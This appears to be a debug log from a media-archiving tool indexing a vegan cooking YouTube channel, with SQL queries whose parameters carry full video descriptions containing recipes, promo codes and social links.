\u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nPROMO CODES & LINKS\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest...", "Grocery Haul at an ALL VEGAN Grocery Store! 🌱🛒", 1, nil, false, "n7-lSBnCFto", "https://www.youtube.com/watch?v=n7-lSBnCFto", "/downloads/downloads/alec/Steamy Vegan/2024-05-21 Grocery Haul at an ALL VEGAN Grocery Store! 🌱🛒/Grocery Haul at an ALL VEGAN Grocery Store! 🌱🛒 [n7-lSBnCFto].NA", false, ~U[2024-05-21 00:00:00Z]] 20:31:07.490 [debug] QUERY OK source="sources" db=0.5ms idle=12.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.492 [debug] QUERY OK source="media_items" db=1.9ms idle=8.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-05-17 00:00:00Z], 1] 20:31:07.495 [debug] QUERY OK source="media_items" db=1.9ms idle=8.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We're making summer salads but with a few delicious upgrades! All vegan, gluten-free, healthy and delicious! Vegan Chicken Salad, Purple Coleslaw and Grilled Green Onion & Potato Salad\n\nLooking for more healthy, high-protein, gluten-free recipes? Watch this playlist next! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\n\nGrilled Green Onion Potato Salad\n3 \u00A0lbs.\u00A0mini potatoes\u00A0(red, yellow, mixed)\n1 bundle of green onions, wilted tips and roots removed\n½ tbsp neutral oil\nSalt and pepper to taste\n1 cup corn, fresh, canned or frozen\n1 celery stalk, finely chopped\n⅓\u00A0cup\u00A0vegan mayo\n2 tbsp lemon juice\n1 tbsp ACV\n1 tbsp dijon mustard\n¼ cup chopped dill\n1 tsp Old Bay seasoning\n\n\n1. Bake the potatoes\u00A0whole at 425ºF for 45 minutes. Be sure to poke many holes in the potatoes before baking them. Remove potatoes from the oven and let cool completely, then cut into 1½” chunks.\n2. Heat a skillet over high heat and warm the oil until shimmering. Cut the green onions in half and carefully place in the hot skillet, season with salt and pepper, and allow them to blacken slightly for about 4 to 5 minutes per side, turning to grill both sides. Once softened and charred, remove from pan and let cool completely. Once cooled, cut into 1cm pieces.\n3. In a small bowl, combine the vegan mayo, lemon juice, ACV, dijon mustard, dill, old bay seasoning and salt and pepper to taste. Set aside.\n4. Add a handful of the baked potatoes to a large serving bowl and mash with a fork until creamy. Add the remaining baked potatoes, charred green onions, corn, celery and the sauce and combine well with a wooden spoon.\n5. Cover and chill in the fridge for an hour or up to overnight. Enjoy!\n\n\nVEGAN CHICKEN SALAD RECIPE\n½ bag Butler Soy curls, rehydrated, chopped and chilled\n1 stalk celery, finely diced\n⅓ cup red onion, finely diced\n¼ cup vegan mayo\n⅓ cup diced gherkin pickles OR ⅓ cup sweet green relish\n⅓ cup dried cranberries\n2½ tbsp dijon mustard\n1 tbsp lemon juice\n1 tsp acv\n2 tsp garlic powder\n½ tsp salt\npepper to taste\nOptional: ½ tsp smoked paprika\n\n1. Combine all ingredients in a large bowl and mix very well together with a spatula until it's a well incorporated mixture. Dollop that salad on a bed of greens, enjoy it in a sandwich, spoon onto crackers, or just eat it straight out of the bowl! The possibilities are endless.\n\n\nPURPLE COLESLAW\n1 head red cabbage, core removed\n3 medium carrots\n6 spring onions\n½ cup sunflower seeds\n½ cup dried cranberries\n1 block silken tofu\n2 tbsp apple cider vinegar\n2 tbsp dijon mustard\n1 tbsp maple syrup\n1 tsp garlic powder\n⅓ cup vegan mayonnaise \nsalt + pepper, to taste\n\nINSTRUCTIONS:\n1. Start by making the coleslaw dressing. Place the silken tofu in the bowl of your food processor or high-speed blender.\n2. Add in the vegan mayo, maple syrup, apple cider vinegar, and dijon mustard. Secure the lid, and blend on high until almost completely blended and creamy. Add in your salt and pepper, blend again and adjust your amounts to taste if needed. \n3. With the slicing blade assembled on your food processor, shred your cabbage slices and carrots. If you don't have a food processor you can just finely chop your cabbage\n4. Transfer shredded cabbage and carrots to a large salad bowl. Add the green onion, dried cranberries, and sunflower seeds and mix until well incorporated. Pour in the dressing and mix until everything is completely coated. \n5. Garnish with more green onion, and enjoy!\n\nPROMO CODES & LINKS\n\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first o" <> ..., "3 Classic Summer Salad Recipes with a Twist! 🥗 Healthy, Vegan & Gluten-Free", "07014e3b-add1-4424-973e-c1d27ec157f0", 1, [], false, "ViC68X2QaEQ", "https://www.youtube.com/watch?v=ViC68X2QaEQ", 194, "/downloads/downloads/alec/Steamy Vegan/2024-05-17 3 Classic Summer Salad Recipes with a Twist! 🥗 Healthy, Vegan & Gluten-Free/3 Classic Summer Salad Recipes with a Twist! 🥗 Healthy, Vegan & Gluten-Free [ViC68X2QaEQ].NA", false, false, false, 1, ~U[2024-05-17 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "We're making summer salads but with a few delicious upgrades! All vegan, gluten-free, healthy and delicious! Vegan Chicken Salad, Purple Coleslaw and Grilled Green Onion & Potato Salad\n\nLooking for more healthy, high-protein, gluten-free recipes? Watch this playlist next! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\n\nGrilled Green Onion Potato Salad\n3 \u00A0lbs.\u00A0mini potatoes\u00A0(red, yellow, mixed)\n1 bundle of green onions, wilted tips and roots removed\n½ tbsp neutral oil\nSalt and pepper to taste\n1 cup corn, fresh, canned or frozen\n1 celery stalk, finely chopped\n⅓\u00A0cup\u00A0vegan mayo\n2 tbsp lemon juice\n1 tbsp ACV\n1 tbsp dijon mustard\n¼ cup chopped dill\n1 tsp Old Bay seasoning\n\n\n1. Bake the potatoes\u00A0whole at 425ºF for 45 minutes. Be sure to poke many holes in the potatoes before baking them. Remove potatoes from the oven and let cool completely, then cut into 1½” chunks.\n2. Heat a skillet over high heat and warm the oil until shimmering. Cut the green onions in half and carefully place in the hot skillet, season with salt and pepper, and allow them to blacken slightly for about 4 to 5 minutes per side, turning to grill both sides. Once softened and charred, remove from pan and let cool completely. Once cooled, cut into 1cm pieces.\n3. In a small bowl, combine the vegan mayo, lemon juice, ACV, dijon mustard, dill, old bay seasoning and salt and pepper to taste. Set aside.\n4. Add a handful of the baked potatoes to a large serving bowl and mash with a fork until creamy. Add the remaining baked potatoes, charred green onions, corn, celery and the sauce and combine well with a wooden spoon.\n5. Cover and chill in the fridge for an hour or up to overnight. Enjoy!\n\n\nVEGAN CHICKEN SALAD RECIPE\n½ bag Butler Soy curls, rehydrated, chopped and chilled\n1 stalk celery, finely diced\n⅓ cup red onion, finely diced\n¼ cup vegan mayo\n⅓ cup diced gherkin pickles OR ⅓ cup sweet green relish\n⅓ cup dried cranberries\n2½ tbsp dijon mustard\n1 tbsp lemon juice\n1 tsp acv\n2 tsp garlic powder\n½ tsp salt\npepper to taste\nOptional: ½ tsp smoked paprika\n\n1. Combine all ingredients in a large bowl and mix very well together with a spatula until it's a well incorporated mixture. Dollop that salad on a bed of greens, enjoy it in a sandwich, spoon onto crackers, or just eat it straight out of the bowl! The possibilities are endless.\n\n\nPURPLE COLESLAW\n1 head red cabbage, core removed\n3 medium carr (truncated) 20:31:07.496 [debug] QUERY OK source="sources" db=0.8ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.499 [debug] QUERY OK source="media_items" db=2.5ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-05-14 00:00:00Z], 1] 20:31:07.502 [debug] QUERY OK source="media_items" db=1.9ms idle=9.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These vegan sandwich recipes are easy, healthy, high-protein and so delicious! Perfect for vegan meal prep, school & work lunches or anytime you're craving a sandwich. Both 100% vegan and gluten-free!\n\nLooking for more healthy, high-protein, gluten-free recipes? Watch this playlist next! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nSushi Sandwich\nINGREDIENTS:\n1 sheet of sushi nori (seaweed)\n⅔ cup cooked rice (sushi, jasmine or short grain)\n3 avocado slices\nFor the smashed edamame:\n1 cup frozen shelled edamame, thawed in warm water\n½ tbsp gluten-free soy sauce or tamari\n1 tbsp tahini\n½ tbsp rice vinegar\n½ tsp garlic powder\nPinch of red chili flakes\n\n1. Add the thawed edamame to a bowl and mash the beans with a fork or potato masher until well mashed and chunky. Add the remaining ingredients to the bowl and mix well together with the fork until it’s a uniform, thickened chunky mixture.\n2. Place the nori sheet shiny side down on a plastic wrap lined cutting board and slightly dampen the edges with wet fingertips. Add half the rice in the centre of the sheet and shape into a flat square shape at a 45 degree angle to the edges. Add half the smashed edamame mix on top of the rice, followed by the avocado slices.\n3. Add the other half of the rice in a layer on top of the other ingredients. Take 2 opposite corners of the nori sheet and bring them together in the middle over the rice, overlapping the corners slightly, then repeat the other two corners. Lay the sandwich corners side down and wrap tightly in plastic wrap, let sit for 10 minutes for the edges of the nori to stick together.\n4. Remove plastic wrap, and cut the sandwich in half using a large sharp knife, then enjoy!\n\nMediterranean Tofu Cream Cheese Sandwich\n\n2 slices good quality gluten-free sandwich bread\n¼ of a zucchini, sliced in coins\n½ a roma tomato, sliced\nHandful of greens\nFor the tofu cream cheese:\n1 block extra firm tofu\nJuice of 1 lemon\n¼ cup sun-dried tomatoes, chopped\n1 tsp garlic powder\n1 tbsp nutritional yeast\n½ tsp salt\n⅛ tsp black pepper\nSplash of soy milk, for blending\n\n1. To a food processor, crumble in the tofu followed by the remaining ingredients. Secure the lid and blend on high-speed until it becomes a thick, spreadable texture. Add a tbsp of unsweetened plant milk at a time to help it blend, and stop to scrape down the sides as needed.\n2. Toast your bread slices to your liking (toasting optional) and spread the sun-dried tomato cream cheese on in a thick layer on each piece of bread. Layer on the sliced tomatoes, zucchini and arugula, place the other piece of bread on top, cut in half and enjoy!\n\n\nPROMO CODES & LINKS\n\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "2 Vegan Sandwich Recipes I'm OBSESSED With Right Now", "1252a1fc-c8c8-4825-875a-eb91c2b4ef3e", 1, [], false, "wSa_0igCP78", "https://www.youtube.com/watch?v=wSa_0igCP78", 195, "/downloads/downloads/alec/Steamy Vegan/2024-05-14 2 Vegan Sandwich Recipes I'm OBSESSED With Right Now/2 Vegan Sandwich Recipes I'm OBSESSED With Right Now [wSa_0igCP78].NA", false, false, false, 1, ~U[2024-05-14 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "These vegan sandwich recipes are easy, healthy, high-protein and so delicious! Perfect for vegan meal prep, school & work lunches or anytime you're craving a sandwich. Both 100% vegan and gluten-free!\n\nLooking for more healthy, high-protein, gluten-free recipes? Watch this playlist next! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nSushi Sandwich\nINGREDIENTS:\n1 sheet of sushi nori (seaweed)\n⅔ cup cooked rice (sushi, jasmine or short grain)\n3 avocado slices\nFor the smashed edamame:\n1 cup frozen shelled edamame, thawed in warm water\n½ tbsp gluten-free soy sauce or tamari\n1 tbsp tahini\n½ tbsp rice vinegar\n½ tsp garlic powder\nPinch of red chili flakes\n\n1. Add the thawed edamame to a bowl and mash the beans with a fork or potato masher until well mashed and chunky. Add the remaining ingredients to the bowl and mix well together with the fork until it’s a uniform, thickened chunky mixture.\n2. Place the nori sheet shiny side down on a plastic wrap lined cutting board and slightly dampen the edges with wet fingertips. Add half the rice in the centre of the sheet and shape into a flat square shape at a 45 degree angle to the edges. Add half the smashed edamame mix on top of the rice, followed by the avocado slices.\n3. Add the other half of the rice in a layer on top of the other ingredients. Take 2 opposite corners of the nori sheet and bring them together in the middle over the rice, overlapping the corners slightly, then repeat the other two corners. Lay the sandwich corners side down and wrap tightly in plastic wrap, let sit for 10 minutes for the edges of the nori to stick together.\n4. Remove plastic wrap, and cut the sandwich in half using a large sharp knife, then enjoy!\n\nMediterranean Tofu Cream Cheese Sandwich\n\n2 slices good quality gluten-free sandwich bread\n¼ of a zucchini, sliced in coins\n½ a roma tomato, sliced\nHandful of greens\nFor the tofu cream cheese:\n1 block extra firm tofu\nJuice of 1 lemon\n¼ cup sun-dried tomatoes, chopped\n1 tsp garlic powder\n1 tbsp nutritional yeast\n½ tsp salt\n⅛ tsp black pepper\nSplash of soy milk, for blending\n\n1. To a food processor, crumble in the tofu followed by the remaining ingredients. Secure the lid and blend on high-speed until it becomes a thick, spreadable texture. Add a tbsp of unsweetened plant milk at a time to help it blend, and stop to scrape down the sides as needed.\n2. Toast your bread slices to your liking (toasting optional) and spread the sun-dried tomato cream cheese on in a thick layer on each piece of bread. Layer on the sliced tomatoes, zucchini and arugula, place the other piece of bread on top, cut in half and enjoy!\n\n\nPROMO CODES & LINKS\n\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://train (truncated) 20:31:07.503 [debug] QUERY OK source="sources" db=0.6ms idle=9.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.506 [debug] QUERY OK source="media_items" db=2.7ms idle=8.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-05-11 00:00:00Z], 1] 20:31:07.510 [debug] QUERY OK source="media_items" db=2.7ms idle=10.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I'm teaming up with \u202A@essycooks\u202C to bring you TWO delicious, easy and healthy bean salads for summer that you can whip up in a pinch! Easy and healthy vegan recipes that are perfect for a potluck, BBQ or a quick satisfying meal!\n\nWant to see more healthy salad inspo? Watch this playlist next! ➡️ \u00A0\u00A0\u00A0•\u00A0SALADS\u00A0&\u00A0SIDES\u00A0\u00A0\n\nCheck out Esther at \u202A@essycooks\u202C on YouTube and subscribe! She's got tons of incredible plant-based recipes 😍🌱\nBlog: www.essycooks.com\n\n⭐️*RECIPES*⭐️\n\nSpring Butter Bean Salad\n2 15oz can lima beans/butter beans\n½ cucumber, quartered, sliced and salted\n1 bunch radishes, thinly sliced\n¼ of an onion, finely chopped\n1 tbsp neutral oil\n2 tbsp tahini \n2 tbsp lemon juice\n2 cloves garlic\n3 tbsp chopped fresh dill\n1 tsp dijon mustard\nSalt and pepper\nPinch of chili flakes\n\n1. In a small jar or bowl, whisk together the dressing ingredients. Taste and adjust for salt and pepper, or add water to thin it out. \n2. To a large salad bowl, add the butter beans, onion, cucumber, radish and dill and mix to combine. \n3. Pour over the dressing and mix to combine. You can serve it right away, but the longer you let it chill in the fridge, the more flavourful it becomes. Enjoy!\n\nMediterranean 3 Bean Salad\n3x19oz cans beans of choice, rinsed and drained(I used chickpeas, red kidney beans and white beans)\n1/2 cup banana peppers, sliced \n1/2 cup sliced kalamata olives\n1/2 small jar of roasted red peppers, finely diced (about 5 total)\n1/2 red onion, finely diced\n1/2 bunch parsley, finely diced\n1/4 cup vegan feta or cubed vegan mozzarella\n\nDressing\n1/4 cup extra virgin olive oil\n3 tbsp red wine vinegar\n2 tbsp fresh lemon juice\n1 tbsp fresh lemon zest\n1 clove minced garlic\n1 tbsp italian seasoning\nsalt and pepper to taste\n1 tsp maple syrup \n\n1. Prepare the dressing in a small bowl by whisking together olive oil, red wine vinegar, lemon juice, lemon zest, garlic, Italian seasoning, maple syrup, salt & pepper. Set aside. \n2. In a large mixing bowl, add the beans, banana peppers, olives, roasted red peppers, parsley, red onion, and vegan cheese. \n3. Drizzle the dressing overtop of the bean salad, and toss gently to combine. \n\nServe by itself, with tortilla chips or crackers, or with a big handful of arugula or other greens. It gets even better with time as it sits in the fridge. Enjoy! \n\n\nPROMO CODES & LINKS\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "2 Bean Salad Recipes to Kick Off SUMMER! ☀️ Easy and Healthy Vegan Recipes", "b8e7cc4a-67c4-418b-8fbd-e346abfc3d29", 1, [], false, "oPneSU7y1Ng", "https://www.youtube.com/watch?v=oPneSU7y1Ng", 196, "/downloads/downloads/alec/Steamy Vegan/2024-05-11 2 Bean Salad Recipes to Kick Off SUMMER! ☀️ Easy and Healthy Vegan Recipes/2 Bean Salad Recipes to Kick Off SUMMER! ☀️ Easy and Healthy Vegan Recipes [oPneSU7y1Ng].NA", false, false, false, 1, ~U[2024-05-11 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "I'm teaming up with \u202A@essycooks\u202C to bring you TWO delicious, easy and healthy bean salads for summer that you can whip up in a pinch! Easy and healthy vegan recipes that are perfect for a potluck, BBQ or a quick satisfying meal!\n\nWant to see more healthy salad inspo? Watch this playlist next! ➡️ \u00A0\u00A0\u00A0•\u00A0SALADS\u00A0&\u00A0SIDES\u00A0\u00A0\n\nCheck out Esther at \u202A@essycooks\u202C on YouTube and subscribe! She's got tons of incredible plant-based recipes 😍🌱\nBlog: www.essycooks.com\n\n⭐️*RECIPES*⭐️\n\nSpring Butter Bean Salad\n2 15oz can lima beans/butter beans\n½ cucumber, quartered, sliced and salted\n1 bunch radishes, thinly sliced\n¼ of an onion, finely chopped\n1 tbsp neutral oil\n2 tbsp tahini \n2 tbsp lemon juice\n2 cloves garlic\n3 tbsp chopped fresh dill\n1 tsp dijon mustard\nSalt and pepper\nPinch of chili flakes\n\n1. In a small jar or bowl, whisk together the dressing ingredients. Taste and adjust for salt and pepper, or add water to thin it out. \n2. To a large salad bowl, add the butter beans, onion, cucumber, radish and dill and mix to combine. \n3. Pour over the dressing and mix to combine. You can serve it right away, but the longer you let it chill in the fridge, the more flavourful it becomes. Enjoy!\n\nMediterranean 3 Bean Salad\n3x19oz cans beans of choice, rinsed and drained(I used chickpeas, red kidney beans and white beans)\n1/2 cup banana peppers, sliced \n1/2 cup sliced kalamata olives\n1/2 small jar of roasted red peppers, finely diced (about 5 total)\n1/2 red onion, finely diced\n1/2 bunch parsley, finely diced\n1/4 cup vegan feta or cubed vegan mozzarella\n\nDressing\n1/4 cup extra virgin olive oil\n3 tbsp red wine vinegar\n2 tbsp fresh lemon juice\n1 tbsp fresh lemon zest\n1 clove minced garlic\n1 tbsp italian seasoning\nsalt and pepper to taste\n1 tsp maple syrup \n\n1. Prepare the dressing in a small bowl by whisking together olive oil, red wine vinegar, lemon juice, lemon zest, garlic, Italian seasoning, maple syrup, salt & pepper. Set aside. \n2. In a large mixing bowl, add the beans, banana peppers, olives, roasted red peppers, parsley, red onion, and vegan cheese. \n3. Drizzle the dressing overtop of the bean salad, and toss gently to combine. \n\nServe by itself, with tortilla chips or crackers, or with a big handful of arugula or other greens. It gets even better with time as it sits in the fridge. Enjoy! \n\n\nPROMO CODES & LINKS\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchas (truncated) 20:31:07.511 [debug] QUERY OK source="sources" db=0.7ms idle=11.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.514 [debug] QUERY OK source="media_items" db=2.1ms idle=10.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-05-07 00:00:00Z], 1] 20:31:07.516 [debug] QUERY OK source="media_items" db=1.5ms idle=11.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["What I eat in a day as a vegan on my birthday! Wholesome and high-protein plant-based meals, and a fun day out adventuring around Fort Langley, BC 😁\n\nLooking for more what I eat in a day videos? Watch this playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nBreakfast\nBanana Mocha Protein Quinoa Bowls \n1 cup cooked quinoa\n½ a protein shake (half scoop of protein powder & 6oz plant milk)\nToppings: Sliced banana, hemp hearts, cacao nibs\n\nLunch: Vegan gluten-free veggie pizza\n\nDinner\nLoaded Veggie Marinara Pasta\n6 cups chopped veggies\n1 jar marinara sauce\n1 can coconut milk\n1 cup cooked red lentils\ndollop of tofu ricotta (recipe 